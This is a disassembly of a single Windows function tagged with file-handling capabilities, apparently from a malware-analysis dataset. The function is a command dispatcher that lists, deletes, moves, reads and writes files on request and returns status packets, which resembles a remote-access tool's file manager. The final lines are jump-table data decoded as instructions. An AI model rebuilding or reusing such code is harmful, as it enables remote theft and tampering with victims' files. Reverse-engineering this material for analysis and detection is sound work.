Function at 0x10002c30
Capabilities:
Delete file
Enumerate files on windows
Move file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10024250
mov eax, dword fs:[0]
push eax
sub esp, 0x288
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x290], ebx
mov esi, dword [ebp + 8]
mov dword [ebp - 0x294], esi
movzx eax, byte [esi]
add eax, 0xfffffffe
cmp eax, 0xd
ja case.0x10002c7e.6
jmp dword [eax*4 + 0x10003220]
push 0x2800
push 0x40
mov dword [ebx + 0x18], 0
mov dword [ebp - 0x28c], 0x2800
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esi + 1]
mov dword [ebp - 0x288], eax
push ecx
lea eax, [ebp - 0x128]
push str._s.
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x280]
push eax
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
mov dword [ebp - 0x294], esi
cmp esi, 0xffffffff
jne 0x10002cff
push 1
lea eax, [ebp - 0x284]
mov byte [ebp - 0x284], 0x68
push eax
mov ecx, ebx
call fcn.10006d10
jmp case.0x10002c7e.6
mov ebx, dword [ebp - 0x288]
mov edi, 1
mov byte [ebx], 0x68
nop dword [eax]
mov ecx, dword [ebp - 0x28c]
lea eax, [ecx - 0x208]
cmp edi, eax
jbe 0x10002d38
add ecx, 0x208
push 0x42
push ecx
push ebx
mov dword [ebp - 0x28c], ecx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebx, eax
mov ecx, 0x1002e3fc
lea eax, [ebp - 0x254]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10002d63
test dl, dl
je 0x10002d5f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10002d63
add eax, 2
add ecx, 2
test dl, dl
jne 0x10002d43
xor eax, eax
jmp 0x10002d68
sbb eax, eax
or eax, 1
test eax, eax
je 0x10002e0f
mov ecx, 0x1002e400
lea eax, [ebp - 0x254]
nop dword [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10002da0
test dl, dl
je 0x10002d9c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10002da0
add eax, 2
add ecx, 2
test dl, dl
jne 0x10002d80
xor eax, eax
jmp 0x10002da5
sbb eax, eax
or eax, 1
test eax, eax
je 0x10002e0f
mov al, byte [ebp - 0x280]
and al, 0x10
mov byte [edi + ebx], al
lea eax, [ebp - 0x254]
push eax
inc edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
lea ecx, [edi + ebx]
push esi
lea eax, [ebp - 0x254]
push eax
push ecx
call fcn.100143a0
add edi, esi
add esp, 0xc
mov esi, dword [ebp - 0x294]
mov byte [edi + ebx], 0
mov eax, dword [ebp - 0x264]
mov dword [edi + ebx + 1], eax
mov eax, dword [ebp - 0x260]
mov dword [edi + ebx + 5], eax
mov eax, dword [ebp - 0x26c]
mov ecx, dword [ebp - 0x268]
mov dword [edi + ebx + 9], eax
mov dword [edi + ebx + 0xd], ecx
add edi, 0x11
lea eax, [ebp - 0x280]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10002d10
mov ecx, dword [ebp - 0x290]
push edi
push ebx
mov dword [ebp - 0x288], ebx
call fcn.10006d10
mov eax, ebx
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp case.0x10002c7e.6
lea eax, [esi + 1]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 1
lea eax, [ebp - 0x284]
mov byte [ebp - 0x284], 0x6c
push eax
mov ecx, ebx
call fcn.10006d10
jmp case.0x10002c7e.6
lea eax, [esi + 1]
push eax
call fcn.100038c0
jmp 0x10002e57
inc esi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
cmp byte [eax + esi - 1], 0x5c
jne 0x10002ebb
mov ecx, ebx
call fcn.10003b60
cmp dword [ebx + 0x14], 0
jne 0x10002f38
push 1
lea eax, [ebp - 0x284]
mov byte [ebp - 0x284], 0x6b
push eax
mov ecx, ebx
call fcn.10006d10
jmp case.0x10002c7e.6
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0xf
mov byte [ebp - 0x140], 0
call fcn.10003fa0
lea eax, [ebp - 0x140]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebx + 0x10]
call fcn.10003e80
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x12c]
cmp edx, 0x10
jb 0x10002f38
mov ecx, dword [ebp - 0x140]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10002f2e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000321a
push edx
push ecx
call fcn.1001272f
add esp, 8
mov eax, dword [ebx + 0x10]
mov eax, dword [eax]
add eax, 8
cmp dword [eax + 0x14], 0x10
jb 0x10002f48
mov eax, dword [eax]
push eax
mov ecx, ebx
call fcn.100039c0
jmp case.0x10002c7e.6
cmp dword [esi + 5], 0xffffffff
lea edi, [esi + 1]
jne 0x10002f68
call fcn.10003ab0
jmp case.0x10002c7e.6
push 0
push 0x80
push 3
push 0
push 1
push connect
lea eax, [ebx + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x290], eax
cmp eax, 0xffffffff
je case.0x10002c7e.6
push 0
push edi
push dword [edi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [ebp - 0x28c], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea eax, [ebp - 0x28c]
push 0
push eax
push 0x1ff7
mov byte [esi], 0x6a
lea eax, [esi + 9]
mov ecx, dword [edi]
mov edx, dword [edi + 4]
mov edi, dword [ebp - 0x290]
push eax
push edi
mov dword [esi + 1], ecx
mov dword [esi + 5], edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x28c]
mov ecx, ebx
test eax, eax
je 0x1000300f
add eax, 9
push eax
push esi
call fcn.10006d10
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp case.0x10002c7e.6
call fcn.10003ab0
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp case.0x10002c7e.6
lea eax, [esi + 1]
push eax
call fcn.10003260
push 1
lea eax, [ebp - 0x284]
mov byte [ebp - 0x284], 0x6f
push eax
mov ecx, ebx
call fcn.10006d10
jmp case.0x10002c7e.6
inc esi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
add eax, esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 1
lea eax, [ebp - 0x284]
mov byte [ebp - 0x284], 0x71
push eax
mov ecx, ebx
call fcn.10006d10
jmp case.0x10002c7e.6
cmp dword [ebx + 0x14], 0
je 0x10003094
mov edx, dword [ebx + 0x10]
call fcn.100040e0
mov eax, dword [ebx + 0x10]
mov dword [eax], eax
mov eax, dword [ebx + 0x10]
mov dword [eax + 4], eax
mov dword [ebx + 0x14], 0
push 1
lea eax, [ebp - 0x284]
mov byte [ebp - 0x284], 0x6b
push eax
mov ecx, ebx
call fcn.10006d10
jmp case.0x10002c7e.6
mov eax, dword [esi + 1]
mov dword [ebx + 0x18], eax
call fcn.10003d40
jmp case.0x10002c7e.6
push 0x104
lea edi, [ebx + 0x1c]
push 0
push edi
call fcn.10014920
lea ecx, [esi + 9]
mov edx, edi
add esp, 0xc
sub edx, ecx
nop word [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [ecx + edx - 1], al
test al, al
jne 0x100030e0
mov eax, dword [esi + 5]
push edi
mov dword [ebx + 0x120], eax
mov dword [ebx + 0x124], 0
call fcn.10003260
lea eax, [ebp - 0x280]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10003150
mov ecx, dword [ebx + 0x18]
cmp ecx, 4
je 0x10003150
cmp ecx, 2
je 0x10003150
cmp ecx, 6
je 0x10003150
push 1
lea eax, [ebp - 0x284]
mov byte [ebp - 0x284], 0x6d
push eax
mov ecx, ebx
call fcn.10006d10
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp case.0x10002c7e.6
mov ecx, ebx
call fcn.10003d40
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp case.0x10002c7e.6
mov eax, dword [esi + 1]
mov edi, dword [esi + 5]
push 0
push 0x80
push 3
push 0
push 2
mov dword [ebp - 0x288], eax
lea eax, [ebx + 0x1c]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [ebp - 0x288]
push 0
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x290]
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff7
push eax
mov eax, dword [ebp - 0x294]
add eax, 9
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x288]
mov ecx, ebx
mov dword [ebp - 0x1b], eax
mov eax, dword [ebp - 0x290]
add eax, edi
mov byte [ebp - 0x1c], 0x70
mov dword [ebp - 0x17], eax
lea eax, [ebp - 0x1c]
push 9
push eax
call fcn.10006d10
jmp case.0x10002c7e.6
push 5
jmp 0x100031f3
push 0
lea eax, [esi + 1]
push eax
call fcn.100033e0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100126e5
mov esp, ebp
pop ebp
ret 8
call fcn.100167a0
nop
test dword [eax + eax], ebp
adc byte [esi + 46], bh
add byte [eax], dl
sal byte [eax], 0
adc byte [ebx + 49], ah
add byte [eax], dl
cld
xor dword [eax], eax
adc byte [ebp + 0x2f], dl
add byte [eax], dl
je fcn.1000326a
add byte [eax], dl
dec ebp
add byte cs:[eax], dl
jae 0x10003270
add byte [eax], dl
mov al, 0x30
add byte [eax], dl
and byte [eax], dh
add byte [eax], dl
inc ebp
xor byte [eax], al
adc ch, ch
xor dword [eax], eax
adc cl, dh
xor dword [eax], eax
adc ah, cl
int3
mov eax, dword [pe_dos_header]